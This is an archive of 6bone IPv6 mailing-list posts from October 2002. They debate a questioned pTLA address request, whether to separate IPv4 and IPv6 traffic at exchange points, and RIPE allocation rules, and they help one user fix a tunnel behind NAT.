no one else, and no ndsoftware at all. So something i don't really 
understand about that:

What is NDSoftware?
The phone number is a mobile phone, and i can't find any regular phone line 
for this company.

I had a look about the IPv6 peering point, it is supposed to be located in 
telecity in paris, i would like to know where is the rack.

weird, who said this word? ;-)

Denis


From d.alligand@pobox.com Mon Oct 21 07:13:36 2002
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From: Denis Alligand <d.alligand@pobox.com>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October
  2002
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>
> >
> > > role:         IPv6-FR NOC
> > > address:      IPv6-FR
> > > address:      57 rue du president Wilson
> > > address:      92300 Levallois-Perret
> > > address:      France
> > > phone:        +33 671887502
> > >
> > > role:         NDSoftware NOC
> > > address:      NDSoftware
> > > address:      57 rue du president Wilson
> > > address:      92300 Levallois-Perret
> > > address:      France
> > > phone:        +33 671887502
> > >
> > >
> > > I'm sorry Nicolas.  Providing address space to YOURSELF doesn't
> > > count!  Sheesh!
> >
> >
> > NDSoftware and IPv6-FR are in the same building but aren't the same
> > legal organization.
> > I'm a network administrator for the both.
>
>And would this be your home by some strange coincidence?

Strange ain't it ;-)

Ndsofware does not seems to exist in the French registration company, and 
when i have a look at this address i can only find out: Deffayet Jean-Yves 
(nicolas'father?)

no one else, and no ndsoftware at all. So something i don't really 
understand about that:

What is NDSoftware?
The phone number is a mobile phone, and i can't find any regular phone line 
for this company.

I had a look about the IPv6 peering point, it is supposed to be located in 
telecity in paris, i would like to know where is the rack.

weird, who said this word? ;-)

Denis


From eric@roxanne.org Mon Oct 21 07:18:51 2002
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Date: Mon, 21 Oct 2002 10:18:42 -0400
From: Eric Gauthier <eric@roxanne.org>
To: Gert Doering <gert@space.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
Message-ID: <20021021101842.A9700@roxanne.org>
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> On Sun, Oct 20, 2002 at 05:13:47PM -0700, Bill Manning wrote:
> > 	it is true that for L2 fabric, it can be hard to prevent IPv6 or IPv4
> > 	from using the fabric.  There are reasons to try and split them however.
> > 	This is not the right thread to take on that topic though.
> > 	If this is of interest, send a note and I'll forward on the rational.
> 
> I'd like to hear more about that.  At the german DE-CIX, we do v6 and v4
> on the same mesh, just to make it easy to get v6 native peerings deployed,
> and of course I'd like to hear all possible "why" and "why not"'s...

I don't know about the various IX's, but the I2 gigapop that our University
uses is concerned about this.  If I remember correctly (not that the exact 
numbers are important), but IPv4 is in an ethernet frame with type 0x0800 and 
IPv6 is in an ethernet frame with type 0x86dd, so layer 3/4 aware switches 
will likely handle these frames differently.  In our case, the Cisco 12,000 
and 6500's that we're using are great for IPv4 packets (they handle them
in hardware), but IPv6 packets are handled in software so we don't expect 
nearly the same type of performance.  I'd imagine that something like this 
is what they're alluding to.  

Eric :)

From gert@Space.Net Mon Oct 21 07:24:52 2002
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Date: Mon, 21 Oct 2002 16:24:49 +0200
From: Gert Doering <gert@space.net>
To: Eric Gauthier <eric@roxanne.org>
Cc: Gert Doering <gert@space.net>, 6bone@ISI.EDU
Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
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Hi,

On Mon, Oct 21, 2002 at 10:18:42AM -0400, Eric Gauthier wrote:
> I don't know about the various IX's, but the I2 gigapop that our University
> uses is concerned about this.  If I remember correctly (not that the exact 
> numbers are important), but IPv4 is in an ethernet frame with type 0x0800 and 
> IPv6 is in an ethernet frame with type 0x86dd, so layer 3/4 aware switches 
> will likely handle these frames differently.  In our case, the Cisco 12,000 
> and 6500's that we're using are great for IPv4 packets (they handle them
> in hardware), but IPv6 packets are handled in software so we don't expect 
> nearly the same type of performance.  I'd imagine that something like this 
> is what they're alluding to.  

This is definitely relevant for the individual participants - but for
the IXP switch (which is strictly layer 2 *only*, at least for all IXes
that I know), L3/4 forwarding performance should not be an issue.

One issue that I see is multicast (neighbor discovery etc) which isn't
seen on an IPv4 unicast exchange switch.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bmanning@ISI.EDU Mon Oct 21 08:50:08 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
In-Reply-To: <20021021162449.U94537@Space.Net> from Gert Doering at "Oct 21, 2 04:24:49 pm"
To: gert@space.net (Gert Doering)
Date: Mon, 21 Oct 2002 08:50:05 -0700 (PDT)
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% On Mon, Oct 21, 2002 at 10:18:42AM -0400, Eric Gauthier wrote:
% > I don't know about the various IX's, but the I2 gigapop that our University
% > uses is concerned about this.  If I remember correctly (not that the exact 
% > numbers are important), but IPv4 is in an ethernet frame with type 0x0800 and 
% > IPv6 is in an ethernet frame with type 0x86dd, so layer 3/4 aware switches 
% > will likely handle these frames differently.  In our case, the Cisco 12,000 
% > and 6500's that we're using are great for IPv4 packets (they handle them
% > in hardware), but IPv6 packets are handled in software so we don't expect 
% > nearly the same type of performance.  I'd imagine that something like this 
% > is what they're alluding to.  
% 
% This is definitely relevant for the individual participants - but for
% the IXP switch (which is strictly layer 2 *only*, at least for all IXes
% that I know), L3/4 forwarding performance should not be an issue.
% 
% One issue that I see is multicast (neighbor discovery etc) which isn't
% seen on an IPv4 unicast exchange switch.
% 
% Gert Doering

	reasons to split v4 and v6:

	multicast - v4 and v6 treat this differently.
	fabric "optimizations" - framing support, buffer sizing, MTU, etc.
	a decent L2 fabric will be able to accomodate the larger MTUs
	of native v6 and won't complain about divergent framing.
	"Smart" fabrics tend to be tuned to IPv4.

	then there are issues wrt RA/ND on an exchange... having all the
	participants trying to "stamp" the fabric with their version of
	which prefix to use is noisy at best and an effective DOS at worst.

	then there are mgmt issues. most L2 fabrics do not have up to date
	v6 mib support, so the stats/traffic collection is not as accurate
	as it should be.

	these things, in addition to the issues with the connecting gear
	(v4 in HW, v6 in SW), tend to argue that a mixed-mode exchange may
	be less stable / harder to troubleshoot than an single use 
	facility.  The offset is the capex/opex costs of connecting to two
	facilities, one for each protocol.

-- 
--bill

From pekkas@netcore.fi Mon Oct 21 09:11:24 2002
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Date: Mon, 21 Oct 2002 19:11:16 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: 6bone@ISI.EDU
Subject: Re: [6bone] very drafty draft on 6bone routing mess
In-Reply-To: <Pine.LNX.4.44.0210200336200.17462-100000@netcore.fi>
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This is getting a bit less drafty now, but a much expanded version is
available at:

http://www.netcore.fi/pekkas/ietf/6bone-messv2.txt

Comments are welcome, as always.  I'll send this to internet-drafts@ in a 
couple of days in any case.

Perhaps I should summarize (Braveheart voice): "We need the transits". And
what is more, we need transits that have good policies, and will be
significant enough to force the pTLA/sTLA's they give service to into
something sane (to drop 95% of those tunnels etc.).

On Sun, 20 Oct 2002, Pekka Savola wrote:

> Hello,
> 
> The so-called 6bone-mess has been discussed here back and forth, with no 
> apparent result or success.
> 
> Based on experiences gained in 6NET and seeing how others are doing, I got 
> motivated enough to write something down on the subject.
> 
> A very drafty draft (result of 3 hours of torturing the keyboard in middle
> of the night :-) on 6bone routing policy issues which I believe are
> causing current problems is available at:
> 
> http://www.netcore.fi/pekkas/ietf/6bone-mess.txt
> 
> There are also some ideas, but nothing specific, how one could get around
> those.
> 
> Before I want to go make this something a bit less drafty I'd like to get
> opinions and thoughts on this: should we try to do something to try to
> ensure IPv6 Internet would actually get usable one of these years (it sure
> ain't now!)
> 
> Comments, please.
> 
> (Anyone with more than 5 peers with transit should feel the sting of guilt
> now. :-)
> 
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From chbm@whisky.cprm.net Mon Oct 21 11:01:16 2002
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Date: Mon, 21 Oct 2002 19:01:07 +0100
From: Carlos Morgado <chbm@cprm.net>
To: 6bone@ISI.EDU
Subject: Re: sTLA alloc policies [Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002]
Message-ID: <20021021190107.B4699@cprm.net>
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On Sun, Oct 20, 2002 at 05:36:10PM +0300, Pekka Savola wrote:
> On Sun, 20 Oct 2002, Gert Doering wrote:
> > On Sun, Oct 20, 2002 at 02:19:19PM +0200, Jeroen Massar wrote:
> > > [ RIPE rules for IPv6 address space ]
> > > 
> > > That's what I meant to express. They do have political reasons though.
> > > And as most people know politics are not nice.
> > 
> > Partly political, but also partly technical - the multihoming issue
> > isn't really solved yet, and have every end site have their own /32
> > announced into the global table is not a scalable approach.
> > 
> > The political part is the "200 customer rule", which I personally did
> > not like very much (it came from ARIN and APNIC), but hey, for a serious
> > ISP that actually is connecting customers, it's not a major obstacle.
> 
> Speaking of which, I'd be really interested in knowing how Internet 
> Software Consortium is going to fill the "200 customer rule":
> 

CPR Marconi (PTComunicações now) routes about 80% of the portuguese commercial 
internet traffic. We have an IPv4 /19 and are pretty much multihomed in
IPv4 as any self respecting internet whole saler should be. However, after
reading RIPE's IPv6 policies I came to the conclusion we can't request a
block from them. "Get it from your upstream" is pretty much useless for 
multihomed nets so we're pretty much stuck.

All our customers however can get /32s from RIPE as they can fill a plan
saying "we have 250 PoPs". Soooo, our larger upstreams have IPv6 blocks,
our *client* ISPs have IPv6 blocks but we, *their upstream*, can't get a
block. 
Pretty much laughable eh ?

-- 
Carlos Morgado <chbm@cprm.net> - Internet Engineering - Phone +351 214146594
GPG key: 0x75E451E2 FP: B98B 222B F276 18C0 266B  599D 93A1 A3FB 75E4 51E2
The views expressed above do not bind my employer.

From pekkas@netcore.fi Mon Oct 21 11:38:14 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Bill Manning <bmanning@ISI.EDU>
cc: Gert Doering <gert@space.net>, <6bone@ISI.EDU>
Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
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On Mon, 21 Oct 2002, Bill Manning wrote:
> % On Mon, Oct 21, 2002 at 10:18:42AM -0400, Eric Gauthier wrote:
> % > I don't know about the various IX's, but the I2 gigapop that our University
> % > uses is concerned about this.  If I remember correctly (not that the exact 
> % > numbers are important), but IPv4 is in an ethernet frame with type 0x0800 and 
> % > IPv6 is in an ethernet frame with type 0x86dd, so layer 3/4 aware switches 
> % > will likely handle these frames differently.  In our case, the Cisco 12,000 
> % > and 6500's that we're using are great for IPv4 packets (they handle them
> % > in hardware), but IPv6 packets are handled in software so we don't expect 
> % > nearly the same type of performance.  I'd imagine that something like this 
> % > is what they're alluding to.  
> % 
> % This is definitely relevant for the individual participants - but for
> % the IXP switch (which is strictly layer 2 *only*, at least for all IXes
> % that I know), L3/4 forwarding performance should not be an issue.
> % 
> % One issue that I see is multicast (neighbor discovery etc) which isn't
> % seen on an IPv4 unicast exchange switch.
> % 
> % Gert Doering
> 
> 	reasons to split v4 and v6:
> 
> 	multicast - v4 and v6 treat this differently.
> 	fabric "optimizations" - framing support, buffer sizing, MTU, etc.
> 	a decent L2 fabric will be able to accomodate the larger MTUs
> 	of native v6 and won't complain about divergent framing.
> 	"Smart" fabrics tend to be tuned to IPv4.
> 
> 	then there are issues wrt RA/ND on an exchange... having all the
> 	participants trying to "stamp" the fabric with their version of
> 	which prefix to use is noisy at best and an effective DOS at worst.
> 
> 	then there are mgmt issues. most L2 fabrics do not have up to date
> 	v6 mib support, so the stats/traffic collection is not as accurate
> 	as it should be.
> 
> 	these things, in addition to the issues with the connecting gear
> 	(v4 in HW, v6 in SW), tend to argue that a mixed-mode exchange may
> 	be less stable / harder to troubleshoot than an single use 
> 	facility.  The offset is the capex/opex costs of connecting to two
> 	facilities, one for each protocol.

I believe most of your points would be satisfied by "run different vlan's
for v4 and v6'.  Seems sane to me, and works quite fine for L2 exchanges.  
If you need L3 for some reason the issue of HW/SW forwarding may become
important.

On smaller exchanges, building dedicated peer-to-peer VLAN's is IMO also
an option worth considering.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From david@iprg.nokia.com Mon Oct 21 11:45:04 2002
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From: David Kessens <david@IPRG.nokia.com>
To: Carlos Morgado <chbm@cprm.net>
Cc: 6bone@ISI.EDU
Subject: Re: sTLA alloc policies [Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002]
Message-ID: <20021021114657.C28213@iprg.nokia.com>
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Carlos,

On Mon, Oct 21, 2002 at 07:01:07PM +0100, Carlos Morgado wrote:
> 
> CPR Marconi (PTComunicagues now) routes about 80% of the portuguese commercial 
> internet traffic. We have an IPv4 /19 and are pretty much multihomed in
> IPv4 as any self respecting internet whole saler should be. However, after
> reading RIPE's IPv6 policies I came to the conclusion we can't request a
> block from them. "Get it from your upstream" is pretty much useless for 
> multihomed nets so we're pretty much stuck.
> 
> All our customers however can get /32s from RIPE as they can fill a plan
> saying "we have 250 PoPs". Soooo, our larger upstreams have IPv6 blocks,
> our *client* ISPs have IPv6 blocks but we, *their upstream*, can't get a
> block. 
> Pretty much laughable eh ?

Before actually stating that you cannot get addresses, did you
actually filled out an apllication and try to get them ?!? The new
rules are really not as strict as many people believe they are.

Also, there is not much point in moaning about ipv6 allocation
policies on this list. This list doesn't decide about ipv6 policies -
the RIRs communities do.

As for the policy itself: the current policy is, like most policies, a
compromise. It certainly doesn't addresses every single parties needs.
The policy was adopted because most people felt that it was a step
forward from the previous policy, not because all parties felt this
was the final and best policy we have ever achieved.

Finally, the policy can be changed in the future and you are
encouraged to speak up in the public RIR policy fora on how you want
to have the policy changed in such a manner that it still achieves the
goals as set forward in the policy document.

David K.
---

From bmanning@ISI.EDU Mon Oct 21 11:49:42 2002
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Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
In-Reply-To: <Pine.LNX.4.44.0210212134390.9954-100000@netcore.fi> from Pekka Savola at "Oct 21, 2 09:38:07 pm"
To: pekkas@netcore.fi (Pekka Savola)
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% > 	fabric "optimizations" - framing support, buffer sizing, MTU, etc.
% > 	a decent L2 fabric will be able to accomodate the larger MTUs
% > 	of native v6 and won't complain about divergent framing.
% > 	"Smart" fabrics tend to be tuned to IPv4.
% > 
% > 	then there are mgmt issues. most L2 fabrics do not have up to date
% > 	v6 mib support, so the stats/traffic collection is not as accurate
% > 	as it should be.
% > 
% I believe most of your points would be satisfied by "run different vlan's
% for v4 and v6'.  Seems sane to me, and works quite fine for L2 exchanges.  
% If you need L3 for some reason the issue of HW/SW forwarding may become
% important.
% 
% On smaller exchanges, building dedicated peer-to-peer VLAN's is IMO also
% an option worth considering.
% 

	presuming vlan support on the fabric
	presuming accurate auditing/monitoring capabilities for v6
	presuming a switch that won't eat your lunch (performance
	hits) with larger packets, different framing, MTU than "normal"
	IPv4.

	-but- given the level of v6 native traffic, esp. in relationship
	to the level of v4 traffic, the arguments may be moot.

	These were simply points as to why one might consider 
	running v6 only exchanges.  I think that the issues are more
	pronounced with transit providers infrastructrure, which, (IMHO)
	is one reason that v6 is having a more gradual rampup than 
	some would have liked to see.


-- 
--bill

From chbm@whisky.cprm.net Mon Oct 21 12:07:23 2002
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From: Carlos Morgado <chbm@cprm.net>
To: 6bone@ISI.EDU
Subject: Re: sTLA alloc policies [Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002]
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On Mon, Oct 21, 2002 at 11:46:57AM -0700, David Kessens wrote:
> 
> Carlos,
> 
> On Mon, Oct 21, 2002 at 07:01:07PM +0100, Carlos Morgado wrote:
> > 
> > CPR Marconi (PTComunicagues now) routes about 80% of the portuguese commercial 
> > internet traffic. We have an IPv4 /19 and are pretty much multihomed in
> > IPv4 as any self respecting internet whole saler should be. However, after
> > reading RIPE's IPv6 policies I came to the conclusion we can't request a
> > block from them. "Get it from your upstream" is pretty much useless for 
> > multihomed nets so we're pretty much stuck.
> > 
> > All our customers however can get /32s from RIPE as they can fill a plan
> > saying "we have 250 PoPs". Soooo, our larger upstreams have IPv6 blocks,
> > our *client* ISPs have IPv6 blocks but we, *their upstream*, can't get a
> > block. 
> > Pretty much laughable eh ?
> 
> Before actually stating that you cannot get addresses, did you
> actually filled out an apllication and try to get them ?!? The new
> rules are really not as strict as many people believe they are.
> 

Yes, I said we can't fulfill 
d) have a plan for making at least 200 /48 assignments
 to other organisations within two years.
as part of the problem presentation.
They said "our policies are at ....".

True, this isn't the correct place to discuss RIPE policy, I was just
ilustrating Pekka's point.

-- 
Carlos Morgado <chbm@cprm.net> - Internet Engineering - Phone +351 214146594
GPG key: 0x75E451E2 FP: B98B 222B F276 18C0 266B  599D 93A1 A3FB 75E4 51E2
The views expressed above do not bind my employer.

From bortzmeyer@gitoyen.net Mon Oct 21 12:08:10 2002
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Cc: gert@space.net (Gert Doering), 6bone@ISI.EDU
Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong 
In-reply-to: <200210211550.g9LFo5N11129@boreas.isi.edu> 
     (Bill Manning <bmanning@ISI.EDU>'s message of 
     Mon, 21 Oct 2002 08:50:05 PDT)
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On Monday 21 October 2002, at 8 h 50, 
Bill Manning <bmanning@ISI.EDU> wrote:

> 	then there are issues wrt RA/ND on an exchange... having all the
> 	participants trying to "stamp" the fabric with their version of
> 	which prefix to use is noisy at best and an effective DOS at worst.

It's exactly like people having a DHCP server which actually replies to request broadcasted on the exchange (I've seen that). By definition, an exchange is shared and people can do funny things on it. IMHO, this problem should be solved by documentation/education/monitoring/ass-kicking, not by separating the traffics.



From bmanning@ISI.EDU Mon Oct 21 12:11:11 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
In-Reply-To: <200210211905.g9LJ5ptJ007617@ludwigV.sources.org> from Stephane Bortzmeyer at "Oct 21, 2 09:05:51 pm"
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% On Monday 21 October 2002, at 8 h 50, 
% Bill Manning <bmanning@ISI.EDU> wrote:
% 
% > 	then there are issues wrt RA/ND on an exchange... having all the
% > 	participants trying to "stamp" the fabric with their version of
% > 	which prefix to use is noisy at best and an effective DOS at worst.
% 
% It's exactly like people having a DHCP server which actually replies to request broadcasted on the exchange (I've seen that). By definition, an exchange is shared and people can do funny things on it. IMHO, this problem should be solved by documentation/education/monitoring/ass-kicking, not by separating the traffics.
% 

	Yes. but the impact of "default" behaviours on a mixed mode
	facility may be more than some of the participants may wish
	to absorb.  

-- 
--bill

From ipv6@worrells.org Mon Oct 21 12:35:13 2002
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From: "Jeremy Worrells" <ipv6@worrells.org>
To: <6bone@ISI.EDU>
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Subject: [6bone] IPv6 via NAT - problems
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Good afternoon, 6bone!

I am a career sysadmin with a great interest in IPv6. I am trying to get a
small IPv6 network running at home, using Freenet6 and a FreeBSD 4.6.2
server. I have the software installed, and the interface comes up. However,
I cannot get a ping6 or traceroute6 to supply any answers. My Cisco 678 DSL
router is set up to NAT all protocol 41 and TCP port 4343 traffic to my
FreeBSD server. Here is the output from a tcpdump on another machine on the
LAN:

11:33:50.929054 worrells.dsl.xmission.com > www.freenet6.net:
jworrells.tsps1.freenet6.net > 3ffe:505:2008:1:2e0:18ff:fea8:4533: icmp6:
echo request (encap)
11:33:51.358566 www.freenet6.net > 172.16.0.4:
3ffe:505:2008:1:2e0:18ff:fea8:4533 > jworrells.tsps1.freenet6.net: icmp6:
echo reply (encap)

It appears that the packets are going to the right places, but are for some
reason not getting to the IPv6 stack. Here are my interface details:

fxp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 172.16.0.4 netmask 0xffffff00 broadcast 172.16.0.255
        inet6 fe80::203:47ff:fe98:96f5%fxp0 prefixlen 64 scopeid 0x1
        ether 00:03:47:98:96:f5
        media: Ethernet autoselect (10baseT/UTP)
        status: active
gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
        tunnel inet 166.70.27.6 --> 206.123.31.114
        inet6 fe80::203:47ff:fe98:96f5%gif0 prefixlen 64 scopeid 0x7
        inet6 3ffe:b80:2:f1a6::2 --> 3ffe:b80:2:f1a6::1 prefixlen 128

Any ideas?

Jeremy


From pekkas@netcore.fi Mon Oct 21 12:38:18 2002
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Date: Mon, 21 Oct 2002 22:37:05 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Carlos Morgado <chbm@cprm.net>
cc: 6bone@ISI.EDU
Subject: Re: sTLA alloc policies [Re: [6bone] pTLA request NDSOFTWARE - review
 closes 23 October 2002]
In-Reply-To: <20021021190107.B4699@cprm.net>
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On Mon, 21 Oct 2002, Carlos Morgado wrote:
> On Sun, Oct 20, 2002 at 05:36:10PM +0300, Pekka Savola wrote:
> > On Sun, 20 Oct 2002, Gert Doering wrote:
> > > On Sun, Oct 20, 2002 at 02:19:19PM +0200, Jeroen Massar wrote:
> > > > [ RIPE rules for IPv6 address space ]
> > > > 
> > > > That's what I meant to express. They do have political reasons though.
> > > > And as most people know politics are not nice.
> > > 
> > > Partly political, but also partly technical - the multihoming issue
> > > isn't really solved yet, and have every end site have their own /32
> > > announced into the global table is not a scalable approach.
> > > 
> > > The political part is the "200 customer rule", which I personally did
> > > not like very much (it came from ARIN and APNIC), but hey, for a serious
> > > ISP that actually is connecting customers, it's not a major obstacle.
> > 
> > Speaking of which, I'd be really interested in knowing how Internet 
> > Software Consortium is going to fill the "200 customer rule":
> > 
> 
> CPR Marconi (PTComunicações now) routes about 80% of the portuguese commercial 
> internet traffic. We have an IPv4 /19 and are pretty much multihomed in
> IPv4 as any self respecting internet whole saler should be. However, after
> reading RIPE's IPv6 policies I came to the conclusion we can't request a
> block from them. "Get it from your upstream" is pretty much useless for 
> multihomed nets so we're pretty much stuck.

Looking at a looking glass, you do indeed seem to be as big as one can get 
in the country; pretty impressive.

Don't you really have (about) 200 customers, or do you only provide 
transit service?

The rules are a bit flexible..
 
> All our customers however can get /32s from RIPE as they can fill a plan
> saying "we have 250 PoPs". Soooo, our larger upstreams have IPv6 blocks,
> our *client* ISPs have IPv6 blocks but we, *their upstream*, can't get a
> block. 
> Pretty much laughable eh ?

PoP's are not important: one can have 200 customers (e.g. DSL users) in a 
single router.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From jeroen@unfix.org Mon Oct 21 13:31:08 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Jeremy Worrells'" <ipv6@worrells.org>, <6bone@ISI.EDU>
Subject: RE: [6bone] IPv6 via NAT - problems
Date: Mon, 21 Oct 2002 22:31:01 +0200
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Jeremy Worrells wrote:

<SNIP>
> 11:33:50.929054 worrells.dsl.xmission.com > www.freenet6.net:
> jworrells.tsps1.freenet6.net > 
> 3ffe:505:2008:1:2e0:18ff:fea8:4533: icmp6:
> echo request (encap)
> 11:33:51.358566 www.freenet6.net > 172.16.0.4:
> 3ffe:505:2008:1:2e0:18ff:fea8:4533 > 
> jworrells.tsps1.freenet6.net: icmp6:
> echo reply (encap)

Tunnel endpoint is 172.16.0.4 but:

<SNIP>

> gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
>         tunnel inet 166.70.27.6 --> 206.123.31.114
>         inet6 fe80::203:47ff:fe98:96f5%gif0 prefixlen 64 scopeid 0x7
>         inet6 3ffe:b80:2:f1a6::2 --> 3ffe:b80:2:f1a6::1 prefixlen 128

It's configured as 166.70.27.6.

Change that and it will work:
ifconfig gif0 tunnel 172.16.0.4 206.123.31.114

The kernel throws away your packets as the local endpoint doesn't match.

Greets,
 Jeroen



From arien+6bone@ams-ix.net Mon Oct 21 13:45:17 2002
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Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
From: Arien Vijn <arien+6bone@ams-ix.net>
To: <6bone@ISI.EDU>
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On 21-10-2002 17:50PM, "Bill Manning" <bmanning@ISI.EDU> wrote:

[..]

> 
> reasons to split v4 and v6:
> 
> multicast - v4 and v6 treat this differently.
> fabric "optimizations" - framing support, buffer sizing, MTU, etc.
> a decent L2 fabric will be able to accomodate the larger MTUs
> of native v6 and won't complain about divergent framing.
> "Smart" fabrics tend to be tuned to IPv4.
> 

Certainly things to consider when choosing your equipment.

> then there are issues wrt RA/ND on an exchange... having all the
> participants trying to "stamp" the fabric with their version of
> which prefix to use is noisy at best and an effective DOS at worst.
> 

In practice this is not an issue, at least in my experience. We explicitly
tell everyone that RA messages are not wanted on the shared medium. If you
have a Cisco you have to be suppress them explicitly (we now that). Junipers
you have to switch it on so no problem, same goes for most Zebra boxes.

RA messages are easy to monitor. Once they occur we politely ask the
technical contacts to stop these messages. Up to now we never had a problem
with that. Most are techies quite happy with the attention they get :-)

Even when they occur it doesn't seem a big issue since most routers do not
seem listen to them at all.

> then there are mgmt issues. most L2 fabrics do not have up to date
> v6 mib support, so the stats/traffic collection is not as accurate
> as it should be.
> 

This is a quite annoying problem indeed. Not only limited to v6 MIB support
BTW. However I do not see how a separate v6 exchange will solve that.

Except that one just can count the port statistics which is exactly what you
can do when everyone hooks up a separate IPv6 router.

> these things, in addition to the issues with the connecting gear
> (v4 in HW, v6 in SW), tend to argue that a mixed-mode exchange may
> be less stable / harder to troubleshoot than an single use
> facility. 

We actually had a separate v6 VLAN for a number of years and concluded that
it was not a problem at all to use both protocols in the same VLAN. The
benefit of doing that is that members can use dual stack routers which is
exactly what most v6 enabled IXPs do.

Kind regards, Arien


-- 

Arien Vijn
Amsterdam Internet Exchange
http://www.ams-ix.net




From ipv6@worrells.org Mon Oct 21 14:02:04 2002
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From: "Jeremy Worrells" <ipv6@worrells.org>
To: "6bone" <6bone@ISI.EDU>
References: <001801c27940$c93e8220$210d640a@unfix.org>
Subject: Re: [6bone] IPv6 via NAT - problems
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Unfortunately, 172.16.0.4 is on a non-routeable subnet that I am using. I
tried using 172.16.0.4 as my address, but freenet6 throws away any request
using 10/8, 172.16/12, or 192.168/16 addresses, as it's not routable. I
thought that using my DSL router's address would let the packets be NATted
and work just fine.

Jeremy

----- Original Message ----- 
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Jeremy Worrells'" <ipv6@worrells.org>; <6bone@ISI.EDU>
Sent: Monday, October 21, 2002 2:31 PM
Subject: RE: [6bone] IPv6 via NAT - problems


> Jeremy Worrells wrote:
> 
> <SNIP>
> > 11:33:50.929054 worrells.dsl.xmission.com > www.freenet6.net:
> > jworrells.tsps1.freenet6.net > 
> > 3ffe:505:2008:1:2e0:18ff:fea8:4533: icmp6:
> > echo request (encap)
> > 11:33:51.358566 www.freenet6.net > 172.16.0.4:
> > 3ffe:505:2008:1:2e0:18ff:fea8:4533 > 
> > jworrells.tsps1.freenet6.net: icmp6:
> > echo reply (encap)
> 
> Tunnel endpoint is 172.16.0.4 but:
> 
> <SNIP>
> 
> > gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
> >         tunnel inet 166.70.27.6 --> 206.123.31.114
> >         inet6 fe80::203:47ff:fe98:96f5%gif0 prefixlen 64 scopeid 0x7
> >         inet6 3ffe:b80:2:f1a6::2 --> 3ffe:b80:2:f1a6::1 prefixlen 128
> 
> It's configured as 166.70.27.6.
> 
> Change that and it will work:
> ifconfig gif0 tunnel 172.16.0.4 206.123.31.114
> 
> The kernel throws away your packets as the local endpoint doesn't match.
> 
> Greets,
>  Jeroen
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From bmanning@ISI.EDU Mon Oct 21 14:09:20 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
In-Reply-To: <B9DA33EF.1BCCB%arien+6bone@ams-ix.net> from Arien Vijn at "Oct 21, 2 10:45:03 pm"
To: arien+6bone@ams-ix.net (Arien Vijn)
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% > then there are issues wrt RA/ND on an exchange... having all the
% > participants trying to "stamp" the fabric with their version of
% > which prefix to use is noisy at best and an effective DOS at worst.
% > 
% 
% In practice this is not an issue, at least in my experience. We explicitly

	others have had different experiences. as usual, YMMV, and 
	being more proactive helps with the social engineering.

% > then there are mgmt issues. most L2 fabrics do not have up to date
% > v6 mib support, so the stats/traffic collection is not as accurate
% > as it should be.
% 
% This is a quite annoying problem indeed. Not only limited to v6 MIB support
% BTW. However I do not see how a separate v6 exchange will solve that.

	well, on a separate v6 fabric, one does not have the "fudging"
	that occurs when the v4 counters get confused w/ v6 stuff.

% Except that one just can count the port statistics which is exactly what you
% can do when everyone hooks up a separate IPv6 router.

	it has been entertaining to compare the switch numbers with the
	connecting router numbers.  you would like them to at least be
	in the same ballpark. :)

% > these things, in addition to the issues with the connecting gear
% > (v4 in HW, v6 in SW), tend to argue that a mixed-mode exchange may
% > be less stable / harder to troubleshoot than an single use
% > facility. 
% 
% We actually had a separate v6 VLAN for a number of years and concluded that
% it was not a problem at all to use both protocols in the same VLAN. The
% benefit of doing that is that members can use dual stack routers which is
% exactly what most v6 enabled IXPs do.

	Again, YMMV.  Two of my native v6 peers refuse to use their native
	v4 boxes because of the performance hit.  That and something about
	using EFT/beta code in production boxes. :)

	Not saying that these issues can't be worked around. Its that there
	are real issues here and for somefolks, it may justify an independent
	fabric.  For others, a separate VLAN will work and for others there
	is no problem with dumping all the traffic on the same media.


% Kind regards, Arien
% 

-- 
--bill

From jeroen@unfix.org Mon Oct 21 14:16:49 2002
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To: "'Jeremy Worrells'" <jeremy@worrells.org>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: [6bone] IPv6 via NAT - problems
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Jeremy Worrells [mailto:jeremy@worrells.org] wrote:

> Unfortunately, 172.16.0.4 is on a non-routeable subnet that I 
> am using. I tried using 172.16.0.4 as my address, but freenet6 throws 
> away any request using 10/8, 172.16/12, or 192.168/16 addresses, as
it's not 
